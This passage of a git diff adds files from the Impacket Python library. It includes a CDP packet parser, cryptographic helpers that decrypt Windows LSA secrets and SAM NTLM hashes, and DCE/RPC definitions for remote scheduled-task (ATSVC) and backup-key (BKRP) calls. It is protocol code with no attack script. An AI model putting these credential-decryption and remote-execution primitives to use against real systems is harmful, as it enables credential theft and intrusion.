+    def __str__(self):
+        return "IP Prefix/Gateway: %r/%d" % (self.get_ip_prefix(), self.get_bits())
+      
+class ProtocolHello(CDPElement):
+    Type = 8
+    
+    def get_type(self):
+        return ProtocolHello.Type
+
+    def get_master_ip(self):
+        return self.get_ip_address(9)
+
+    def get_version(self):
+        return self.get_byte(17)
+
+    def get_sub_version(self):
+        return self.get_byte(18)
+
+    def get_status(self):
+        return self.get_byte(19)
+
+    def get_cluster_command_mac(self):
+        return array_tobytes(self.get_bytes())[20:20+6]
+            
+    def get_switch_mac(self):
+        return array_tobytes(self.get_bytes())[28:28+6]
+            
+    def get_management_vlan(self):
+        return self.get_word(36)
+
+    def __str__(self):
+        return "\n\n\nProcolHello: Master IP:%s version:%r subversion:%r status:%r Switch's Mac:%r Management VLAN:%r" \
+         % (self.get_master_ip(), self.get_version(), self.get_sub_version(), self.get_status(), mac_to_string(self.get_switch_mac()), self.get_management_vlan())
+                      
+class VTPManagementDomain(CDPElement):
+    Type = 9
+    
+    def get_type(self):
+        return VTPManagementDomain.Type
+    
+    def get_domain(self):
+        return CDPElement.get_data(self)                  
+  
+  
+class Duplex(CDPElement):
+    Type = 0xb
+    
+    def get_type(self):
+        return Duplex.Type
+    
+    def get_duplex(self):
+        return CDPElement.get_data(self)                
+                
+    def is_full_duplex(self):
+        return self.get_duplex()==0x1
+        
+class VLAN(CDPElement):
+    Type = 0xa
+                
+    def get_type(self):
+        return VLAN.Type
+        
+    def get_vlan_number(self):
+        return CDPElement.get_data(self)
+
+
+
+class TrustBitmap(CDPElement):
+    Type = 0x12
+    
+    def get_type(self):
+        return TrustBitmap.Type
+
+    def get_trust_bitmap(self):
+        return self.get_data()
+
+    def __str__(self):
+        return "TrustBitmap Trust Bitmap:%r" % self.get_trust_bitmap()
+
+class UntrustedPortCoS(CDPElement):
+    Type = 0x13
+    
+    def get_type(self):
+        return UntrustedPortCoS.Type
+
+    def get_port_CoS(self):
+        return self.get_data()
+
+    def __str__(self):
+        return "UntrustedPortCoS port CoS %r" % self.get_port_CoS()
+
+class ManagementAddresses(Address):
+    Type = 0x16
+    
+    def get_type(self):
+        return ManagementAddresses.Type
+        
+class MTU(CDPElement):
+    Type = 0x11
+    
+    def get_type(self):
+        return MTU.Type
+        
+class SystemName(CDPElement):
+    Type = 0x14
+    
+    def get_type(self):
+        return SystemName.Type
+
+class SystemObjectId(CDPElement):
+    Type = 0x15
+    
+    def get_type(self):
+        return SystemObjectId.Type
+
+class SnmpLocation(CDPElement):
+    Type = 0x17
+    
+    def get_type(self):
+        return SnmpLocation.Type
+
+
+class DummyCdpElement(CDPElement):
+    Type = 0x99
+
+    def get_type(self):
+        return DummyCdpElement.Type
+
+class CDPElementFactory():
+    
+    elementTypeMap = {
+                        CDPDevice.Type            : CDPDevice, 
+                        Port.Type                 : Port,
+                        Capabilities.Type         : Capabilities,
+                        Address.Type              : Address, 
+                        SoftVersion.Type          : SoftVersion,
+                        Platform.Type             : Platform,
+                        IpPrefix.Type             : IpPrefix,
+                        ProtocolHello.Type        : ProtocolHello,
+                        VTPManagementDomain.Type  : VTPManagementDomain,
+                        VLAN.Type                 : VLAN,
+                        Duplex.Type               : Duplex,
+                        TrustBitmap.Type          : TrustBitmap,
+                        UntrustedPortCoS.Type     : UntrustedPortCoS,
+                        ManagementAddresses.Type  : ManagementAddresses,
+                        MTU.Type                  : MTU,
+                        SystemName.Type           : SystemName,
+                        SystemObjectId.Type       : SystemObjectId,
+                        SnmpLocation.Type         : SnmpLocation
+                     }
+    
+    @classmethod
+    def create(cls, aBuffer):
+#        print "CDPElementFactory.create aBuffer:", repr(aBuffer)
+#        print "CDPElementFactory.create sub_type:", repr(aBuffer[0:2])
+        _type = unpack("!h", aBuffer[0:2])[0]
+#        print "CDPElementFactory.create _type:", _type
+        try:
+            class_type = cls.elementTypeMap[_type]
+        except KeyError:
+            class_type = DummyCdpElement
+            #raise Exception("CDP Element type %s not implemented" % _type)
+        return class_type( aBuffer )                   
diff --git a/impacket/crypto.py b/impacket/crypto.py
new file mode 100644
index 0000000..45c3a6b
--- /dev/null
+++ b/impacket/crypto.py
@@ -0,0 +1,350 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   RFC 4493 implementation (https://www.ietf.org/rfc/rfc4493.txt)
+#   RFC 4615 implementation (https://www.ietf.org/rfc/rfc4615.txt)
+#
+#   NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation
+#   (https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108)
+#
+#   [MS-LSAD] Section 5.1.2
+#   [MS-SAMR] Section 2.2.11.1.1
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+from impacket import LOG
+try:
+    from Cryptodome.Cipher import DES, AES
+except Exception:
+    LOG.error("Warning: You don't have any crypto installed. You need pycryptodomex")
+    LOG.error("See https://pypi.org/project/pycryptodomex/")
+from struct import pack, unpack
+from impacket.structure import Structure
+import hmac, hashlib
+from six import b
+
+def Generate_Subkey(K):
+
+#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+#   +                    Algorithm Generate_Subkey                      +
+#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+#   +                                                                   +
+#   +   Input    : K (128-bit key)                                      +
+#   +   Output   : K1 (128-bit first subkey)                            +
+#   +              K2 (128-bit second subkey)                           +
+#   +-------------------------------------------------------------------+
+#   +                                                                   +
+#   +   Constants: const_Zero is 0x00000000000000000000000000000000     +
+#   +              const_Rb   is 0x00000000000000000000000000000087     +
+#   +   Variables: L          for output of AES-128 applied to 0^128    +
+#   +                                                                   +
+#   +   Step 1.  L := AES-128(K, const_Zero);                           +
+#   +   Step 2.  if MSB(L) is equal to 0                                +
+#   +            then    K1 := L << 1;                                  +
+#   +            else    K1 := (L << 1) XOR const_Rb;                   +
+#   +   Step 3.  if MSB(K1) is equal to 0                               +
+#   +            then    K2 := K1 << 1;                                 +
+#   +            else    K2 := (K1 << 1) XOR const_Rb;                  +
+#   +   Step 4.  return K1, K2;                                         +
+#   +                                                                   +
+#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+    AES_128 = AES.new(K, AES.MODE_ECB)
+
+    L = AES_128.encrypt(bytes(bytearray(16)))
+
+    LHigh = unpack('>Q',L[:8])[0]
+    LLow  = unpack('>Q',L[8:])[0]
+
+    K1High = ((LHigh << 1) | ( LLow >> 63 )) & 0xFFFFFFFFFFFFFFFF
+    K1Low  = (LLow << 1) & 0xFFFFFFFFFFFFFFFF
+
+    if (LHigh >> 63):
+        K1Low ^= 0x87
+
+    K2High = ((K1High << 1) | (K1Low >> 63)) & 0xFFFFFFFFFFFFFFFF
+    K2Low  = ((K1Low << 1)) & 0xFFFFFFFFFFFFFFFF
+
+    if (K1High >> 63):
+        K2Low ^= 0x87
+
+    K1 = bytearray(pack('>QQ', K1High, K1Low))
+    K2 = bytearray(pack('>QQ', K2High, K2Low))
+
+    return K1, K2
+
+def XOR_128(N1,N2):
+
+    J = bytearray()
+    for i in range(len(N1)):
+        #J.append(indexbytes(N1,i) ^ indexbytes(N2,i))
+        J.append(N1[i] ^ N2[i])
+    return J
+
+def PAD(N):
+    padLen = 16-len(N)
+    return  N + b'\x80' + b'\x00'*(padLen-1)
+
+def AES_CMAC(K, M, length):
+
+#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+#   +                   Algorithm AES-CMAC                              +
+#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+#   +                                                                   +
+#   +   Input    : K    ( 128-bit key )                                 +
+#   +            : M    ( message to be authenticated )                 +
+#   +            : len  ( length of the message in octets )             +
+#   +   Output   : T    ( message authentication code )                 +
+#   +                                                                   +
+#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+#   +   Constants: const_Zero is 0x00000000000000000000000000000000     +
+#   +              const_Bsize is 16                                    +
+#   +                                                                   +
+#   +   Variables: K1, K2 for 128-bit subkeys                           +
+#   +              M_i is the i-th block (i=1..ceil(len/const_Bsize))   +
+#   +              M_last is the last block xor-ed with K1 or K2        +
+#   +              n      for number of blocks to be processed          +
+#   +              r      for number of octets of last block            +
+#   +              flag   for denoting if last block is complete or not +
+#   +                                                                   +
+#   +   Step 1.  (K1,K2) := Generate_Subkey(K);                         +
+#   +   Step 2.  n := ceil(len/const_Bsize);                            +
+#   +   Step 3.  if n = 0                                               +
+#   +            then                                                   +
+#   +                 n := 1;                                           +
+#   +                 flag := false;                                    +
+#   +            else                                                   +
+#   +                 if len mod const_Bsize is 0                       +
+#   +                 then flag := true;                                +
+#   +                 else flag := false;                               +
+#   +                                                                   +
+#   +   Step 4.  if flag is true                                        +
+#   +            then M_last := M_n XOR K1;                             +
+#   +            else M_last := padding(M_n) XOR K2;                    +
+#   +   Step 5.  X := const_Zero;                                       +
+#   +   Step 6.  for i := 1 to n-1 do                                   +
+#   +                begin                                              +
+#   +                  Y := X XOR M_i;                                  +
+#   +                  X := AES-128(K,Y);                               +
+#   +                end                                                +
+#   +            Y := M_last XOR X;                                     +
+#   +            T := AES-128(K,Y);                                     +
+#   +   Step 7.  return T;                                              +
+#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+    const_Bsize = 16
+    const_Zero  = bytearray(16)
+
+    AES_128= AES.new(K, AES.MODE_ECB)
+    M      = bytearray(M[:length])
+    K1, K2 = Generate_Subkey(K)
+    n      = len(M)//const_Bsize
+
+    if n == 0:
+        n = 1
+        flag = False
+    else:
+        if (length % const_Bsize) == 0:
+            flag = True
+        else:
+            n += 1
+            flag = False
+
+    M_n = M[(n-1)*const_Bsize:]
+    if flag is True:
+        M_last = XOR_128(M_n,K1)
+    else:
+        M_last = XOR_128(PAD(M_n),K2)
+
+    X = const_Zero
+    for i in range(n-1):
+        M_i = M[(i)*const_Bsize:][:16]
+        Y   = XOR_128(X, M_i)
+        X   = bytearray(AES_128.encrypt(bytes(Y)))
+    Y = XOR_128(M_last, X)
+    T = AES_128.encrypt(bytes(Y))
+
+    return T
+
+def AES_CMAC_PRF_128(VK, M, VKlen, Mlen):
+#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+#   +                        AES-CMAC-PRF-128                           +
+#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+#   +                                                                   +
+#   + Input  : VK (Variable-length key)                                 +
+#   +        : M (Message, i.e., the input data of the PRF)             +
+#   +        : VKlen (length of VK in octets)                           +
+#   +        : len (length of M in octets)                              +
+#   + Output : PRV (128-bit Pseudo-Random Variable)                     +
+#   +                                                                   +
+#   +-------------------------------------------------------------------+
+#   + Variable: K (128-bit key for AES-CMAC)                            +
+#   +                                                                   +
+#   + Step 1.   If VKlen is equal to 16                                 +
+#   + Step 1a.  then                                                    +
+#   +               K := VK;                                            +
+#   + Step 1b.  else                                                    +
+#   +               K := AES-CMAC(0^128, VK, VKlen);                    +
+#   + Step 2.   PRV := AES-CMAC(K, M, len);                             +
+#   +           return PRV;                                             +
+#   +                                                                   +
+#   +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+    if VKlen == 16:
+        K = VK
+    else:
+        K = AES_CMAC(bytes(bytearray(16)), VK, VKlen)
+
+    PRV = AES_CMAC(K, M, Mlen)
+
+    return PRV
+
+def KDF_CounterMode(KI, Label, Context, L):
+# Implements NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256
+# https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108
+# Fixed values:
+#  1. h - The length of the output of the PRF in bits, and
+#  2. r - The length of the binary representation of the counter i.
+# Input: KI, Label, Context, and L.
+# Process:
+#  1. n := [L/h]
+#  2. If n > 2r-1, then indicate an error and stop.
+#  3. result(0):= empty .
+#  4. For i = 1 to n, do
+#    a. K(i) := PRF (KI, [i]2 || Label || 0x00 || Context || [L]2)
+#    b. result(i) := result(i-1) || K(i).
+#  5. Return: KO := the leftmost L bits of result(n).
+    h = 256
+    r = 32
+
+    n = L // h
+
+    if n == 0:
+        n = 1
+
+    if n > (pow(2,r)-1):
+        raise Exception("Error computing KDF_CounterMode")
+
+    result = b''
+    K      = b''
+
+    for i in range(1,n+1):
+       input = pack('>L', i) + Label + b'\x00' + Context + pack('>L',L)
+       K = hmac.new(KI, input, hashlib.sha256).digest()
+       result = result + K
+
+    return result[:(L//8)]
+
+# [MS-LSAD] Section 5.1.2 / 5.1.3
+class LSA_SECRET_XP(Structure):
+    structure = (
+        ('Length','<L=0'),
+        ('Version','<L=0'),
+        ('_Secret','_-Secret', 'self["Length"]'),
+        ('Secret', ':'),
+    )
+
+
+def transformKey(InputKey):
+    # Section 5.1.3
+    OutputKey = []
+    OutputKey.append( chr(ord(InputKey[0:1]) >> 0x01) )
+    OutputKey.append( chr(((ord(InputKey[0:1])&0x01)<<6) | (ord(InputKey[1:2])>>2)) )
+    OutputKey.append( chr(((ord(InputKey[1:2])&0x03)<<5) | (ord(InputKey[2:3])>>3)) )
+    OutputKey.append( chr(((ord(InputKey[2:3])&0x07)<<4) | (ord(InputKey[3:4])>>4)) )
+    OutputKey.append( chr(((ord(InputKey[3:4])&0x0F)<<3) | (ord(InputKey[4:5])>>5)) )
+    OutputKey.append( chr(((ord(InputKey[4:5])&0x1F)<<2) | (ord(InputKey[5:6])>>6)) )
+    OutputKey.append( chr(((ord(InputKey[5:6])&0x3F)<<1) | (ord(InputKey[6:7])>>7)) )
+    OutputKey.append( chr(ord(InputKey[6:7]) & 0x7F) )
+
+    for i in range(8):
+        OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
+
+    return b("".join(OutputKey))
+
+def decryptSecret(key, value):
+    # [MS-LSAD] Section 5.1.2
+    plainText = b''
+    key0 = key
+    for i in range(0, len(value), 8):
+        cipherText = value[:8]
+        tmpStrKey = key0[:7]
+        tmpKey = transformKey(tmpStrKey)
+        Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
+        plainText += Crypt1.decrypt(cipherText)
+        key0 = key0[7:]
+        value = value[8:]
+        # AdvanceKey
+        if len(key0) < 7:
+            key0 = key[len(key0):]
+
+    secret = LSA_SECRET_XP(plainText)
+    return (secret['Secret'])
+
+def encryptSecret(key, value):
+    # [MS-LSAD] Section 5.1.2
+    cipherText = b''
+    key0 = key
+    value0 = pack('<LL', len(value), 1) + value
+    for i in range(0, len(value0), 8):
+        if len(value0) < 8:
+            value0 = value0 + b'\x00'*(8-len(value0))
+        plainText = value0[:8]
+        tmpStrKey = key0[:7]
+        print(type(tmpStrKey))
+        print(tmpStrKey)
+        tmpKey = transformKey(tmpStrKey)
+        Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
+        cipherText += Crypt1.encrypt(plainText)
+        key0 = key0[7:]
+        value0 = value0[8:]
+        # AdvanceKey
+        if len(key0) < 7:
+            key0 = key[len(key0):]
+
+    return cipherText
+
+def SamDecryptNTLMHash(encryptedHash, key):
+    # [MS-SAMR] Section 2.2.11.1.1
+    Block1 = encryptedHash[:8]
+    Block2 = encryptedHash[8:]
+
+    Key1 = key[:7]
+    Key1 = transformKey(Key1)
+    Key2 = key[7:14]
+    Key2 = transformKey(Key2)
+
+    Crypt1 = DES.new(Key1, DES.MODE_ECB)
+    Crypt2 = DES.new(Key2, DES.MODE_ECB)
+
+    plain1 = Crypt1.decrypt(Block1)
+    plain2 = Crypt2.decrypt(Block2)
+
+    return plain1 + plain2
+
+def SamEncryptNTLMHash(encryptedHash, key):
+    # [MS-SAMR] Section 2.2.11.1.1
+    Block1 = encryptedHash[:8]
+    Block2 = encryptedHash[8:]
+
+    Key1 = key[:7]
+    Key1 = transformKey(Key1)
+    Key2 = key[7:14]
+    Key2 = transformKey(Key2)
+
+    Crypt1 = DES.new(Key1, DES.MODE_ECB)
+    Crypt2 = DES.new(Key2, DES.MODE_ECB)
+
+    plain1 = Crypt1.encrypt(Block1)
+    plain2 = Crypt2.encrypt(Block2)
+
+    return plain1 + plain2
diff --git a/impacket/dcerpc/__init__.py b/impacket/dcerpc/__init__.py
new file mode 100644
index 0000000..b2b0c68
--- /dev/null
+++ b/impacket/dcerpc/__init__.py
@@ -0,0 +1,9 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+pass
diff --git a/impacket/dcerpc/v5/__init__.py b/impacket/dcerpc/v5/__init__.py
new file mode 100644
index 0000000..b2b0c68
--- /dev/null
+++ b/impacket/dcerpc/v5/__init__.py
@@ -0,0 +1,9 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+pass
diff --git a/impacket/dcerpc/v5/atsvc.py b/impacket/dcerpc/v5/atsvc.py
new file mode 100644
index 0000000..cbbc111
--- /dev/null
+++ b/impacket/dcerpc/v5/atsvc.py
@@ -0,0 +1,215 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-TSCH] ATSVC Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
+from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL
+from impacket import hresult_errors
+from impacket.uuid import uuidtup_to_bin
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+MSRPC_UUID_ATSVC  = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
+            return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+ATSVC_HANDLE = LPWSTR
+# 2.3.1 Constant Values
+CNLEN = 15
+DNLEN = CNLEN
+UNLEN = 256
+MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1)
+
+# 2.3.7 Flags
+TASK_FLAG_INTERACTIVE                  = 0x1
+TASK_FLAG_DELETE_WHEN_DONE             = 0x2
+TASK_FLAG_DISABLED                     = 0x4
+TASK_FLAG_START_ONLY_IF_IDLE           = 0x10
+TASK_FLAG_KILL_ON_IDLE_END             = 0x20
+TASK_FLAG_DONT_START_IF_ON_BATTERIES   = 0x40
+TASK_FLAG_KILL_IF_GOING_ON_BATTERIES   = 0x80
+TASK_FLAG_RUN_ONLY_IF_DOCKED           = 0x100
+TASK_FLAG_HIDDEN                       = 0x200
+TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400
+TASK_FLAG_RESTART_ON_IDLE_RESUME       = 0x800
+TASK_FLAG_SYSTEM_REQUIRED              = 0x1000
+TASK_FLAG_RUN_ONLY_IF_LOGGED_ON        = 0x2000
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.3.4 AT_INFO
+class AT_INFO(NDRSTRUCT):
+    structure =  (
+        ('JobTime',DWORD),
+        ('DaysOfMonth',DWORD),
+        ('DaysOfWeek',UCHAR),
+        ('Flags',UCHAR),
+        ('Command',LPWSTR),
+    )
+
+class LPAT_INFO(NDRPOINTER):
+    referent = (
+        ('Data',AT_INFO),
+    )
+
+# 2.3.6 AT_ENUM
+class AT_ENUM(NDRSTRUCT):
+    structure =  (
+        ('JobId',DWORD),
+        ('JobTime',DWORD),
+        ('DaysOfMonth',DWORD),
+        ('DaysOfWeek',UCHAR),
+        ('Flags',UCHAR),
+        ('Command',LPWSTR),
+    )
+
+class AT_ENUM_ARRAY(NDRUniConformantArray):
+    item = AT_ENUM
+
+class LPAT_ENUM_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',AT_ENUM_ARRAY),
+    )
+
+# 2.3.5 AT_ENUM_CONTAINER
+class AT_ENUM_CONTAINER(NDRSTRUCT):
+    structure =  (
+        ('EntriesRead',DWORD),
+        ('Buffer',LPAT_ENUM_ARRAY),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.2.5.2.1 NetrJobAdd (Opnum 0)
+class NetrJobAdd(NDRCALL):
+    opnum = 0
+    structure = (
+        ('ServerName',ATSVC_HANDLE),
+        ('pAtInfo', AT_INFO),
+    )
+
+class NetrJobAddResponse(NDRCALL):
+    structure = (
+        ('pJobId',DWORD),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.2.2 NetrJobDel (Opnum 1)
+class NetrJobDel(NDRCALL):
+    opnum = 1
+    structure = (
+        ('ServerName',ATSVC_HANDLE),
+        ('MinJobId', DWORD),
+        ('MaxJobId', DWORD),
+    )
+
+class NetrJobDelResponse(NDRCALL):
+    structure = (
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.2.3 NetrJobEnum (Opnum 2)
+class NetrJobEnum(NDRCALL):
+    opnum = 2
+    structure = (
+        ('ServerName',ATSVC_HANDLE),
+        ('pEnumContainer', AT_ENUM_CONTAINER),
+        ('PreferedMaximumLength', DWORD),
+        ('pResumeHandle', LPDWORD),
+    )
+
+class NetrJobEnumResponse(NDRCALL):
+    structure = (
+        ('pEnumContainer', AT_ENUM_CONTAINER),
+        ('pTotalEntries', DWORD),
+        ('pResumeHandle',LPDWORD),
+        ('ErrorCode',ULONG),
+    )
+
+# 3.2.5.2.4 NetrJobGetInfo (Opnum 3)
+class NetrJobGetInfo(NDRCALL):
+    opnum = 3
+    structure = (
+        ('ServerName',ATSVC_HANDLE),
+        ('JobId', DWORD),
+    )
+
+class NetrJobGetInfoResponse(NDRCALL):
+    structure = (
+        ('ppAtInfo', LPAT_INFO),
+        ('ErrorCode',ULONG),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (NetrJobAdd,NetrJobAddResponse ),
+ 1 : (NetrJobDel,NetrJobDelResponse ),
+ 2 : (NetrJobEnum,NetrJobEnumResponse ),
+ 3 : (NetrJobGetInfo,NetrJobGetInfoResponse ),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL):
+    netrJobAdd = NetrJobAdd()
+    netrJobAdd['ServerName'] = serverName
+    netrJobAdd['pAtInfo'] = atInfo
+    return dce.request(netrJobAdd)
+
+def hNetrJobDel(dce, serverName = NULL, minJobId = 0, maxJobId = 0):
+    netrJobDel = NetrJobDel()
+    netrJobDel['ServerName'] = serverName
+    netrJobDel['MinJobId'] = minJobId
+    netrJobDel['MaxJobId'] = maxJobId
+    return dce.request(netrJobDel)
+
+def hNetrJobEnum(dce, serverName = NULL, pEnumContainer = NULL, preferedMaximumLength = 0xffffffff):
+    netrJobEnum = NetrJobEnum()
+    netrJobEnum['ServerName'] = serverName
+    netrJobEnum['pEnumContainer']['Buffer'] = pEnumContainer
+    netrJobEnum['PreferedMaximumLength'] = preferedMaximumLength
+    return dce.request(netrJobEnum)
+
+def hNetrJobGetInfo(dce, serverName = NULL, jobId = 0):
+    netrJobGetInfo = NetrJobGetInfo()
+    netrJobGetInfo['ServerName'] = serverName
+    netrJobGetInfo['JobId'] = jobId
+    return dce.request(netrJobGetInfo)
diff --git a/impacket/dcerpc/v5/bkrp.py b/impacket/dcerpc/v5/bkrp.py
new file mode 100644
index 0000000..954841f
--- /dev/null
+++ b/impacket/dcerpc/v5/bkrp.py
@@ -0,0 +1,132 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-BKRP] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# ToDo:
+#   [ ] 2.2.2 Client-Side-Wrapped Secret
+#
+
+from __future__ import division
+from __future__ import print_function
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray
+from impacket.dcerpc.v5.dtypes import DWORD, NTSTATUS, GUID, RPC_SID, NULL
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket import system_errors
+from impacket.uuid import uuidtup_to_bin, string_to_bin
+from impacket.structure import Structure
+
+MSRPC_UUID_BKRP = uuidtup_to_bin(('3dde7c30-165d-11d1-ab8f-00805f14db40', '1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 
+            return 'BKRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'BKRP SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+
+BACKUPKEY_BACKUP_GUID = string_to_bin("7F752B10-178E-11D1-AB8F-00805F14DB40")
+BACKUPKEY_RESTORE_GUID_WIN2K = string_to_bin("7FE94D50-178E-11D1-AB8F-00805F14DB40")
+BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID = string_to_bin("018FF48A-EABA-40C6-8F6D-72370240E967")
+BACKUPKEY_RESTORE_GUID =  string_to_bin("47270C64-2FC7-499B-AC5B-0E37CDCE899A")
+
+################################################################################
+# STRUCTURES
+################################################################################
+class BYTE_ARRAY(NDRUniConformantArray):
+    item = 'c'
+
+class PBYTE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', BYTE_ARRAY),
+    )
+
+# 2.2.4.1 Rc4EncryptedPayload Structure
+class Rc4EncryptedPayload(Structure):
+    structure = (
+        ('R3', '32s=""'),
+        ('MAC', '20s=""'),
+        ('SID', ':', RPC_SID),
+        ('Secret', ':'),
+    )
+
+# 2.2.4 Secret Wrapped with Symmetric Key
+class WRAPPED_SECRET(Structure):
+    structure = (
+        ('SIGNATURE', '<L=1'),
+        ('Payload_Length', '<L=0'),
+        ('Ciphertext_Length', '<L=0'),
+        ('GUID_of_Wrapping_Key', '16s=""'),
+        ('R2', '68s=""'),
+        ('_Rc4EncryptedPayload', '_-Rc4EncryptedPayload', 'self["Payload_Length"]'),
+        ('Rc4EncryptedPayload', ':'),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.1.4.1 BackuprKey(Opnum 0)
+class BackuprKey(NDRCALL):
+    opnum = 0
+    structure = (
+       ('pguidActionAgent', GUID),
+       ('pDataIn', BYTE_ARRAY),
+       ('cbDataIn', DWORD),
+       ('dwParam', DWORD),
+    )
+
+class BackuprKeyResponse(NDRCALL):
+    structure = (
+       ('ppDataOut', PBYTE_ARRAY),
+       ('pcbDataOut', DWORD),
+       ('ErrorCode', NTSTATUS),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (BackuprKey, BackuprKeyResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def hBackuprKey(dce, pguidActionAgent, pDataIn, dwParam=0):
+    request = BackuprKey()
+    request['pguidActionAgent'] = pguidActionAgent
+    request['pDataIn'] = pDataIn
+    if pDataIn == NULL:
+        request['cbDataIn'] = 0
+    else:
+        request['cbDataIn'] = len(pDataIn)
+    request['dwParam'] = dwParam
+    return dce.request(request)
diff --git a/impacket/dcerpc/v5/dcom/__init__.py b/impacket/dcerpc/v5/dcom/__init__.py
new file mode 100644
index 0000000..b2b0c68
--- /dev/null
+++ b/impacket/dcerpc/v5/dcom/__init__.py
@@ -0,0 +1,9 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+pass
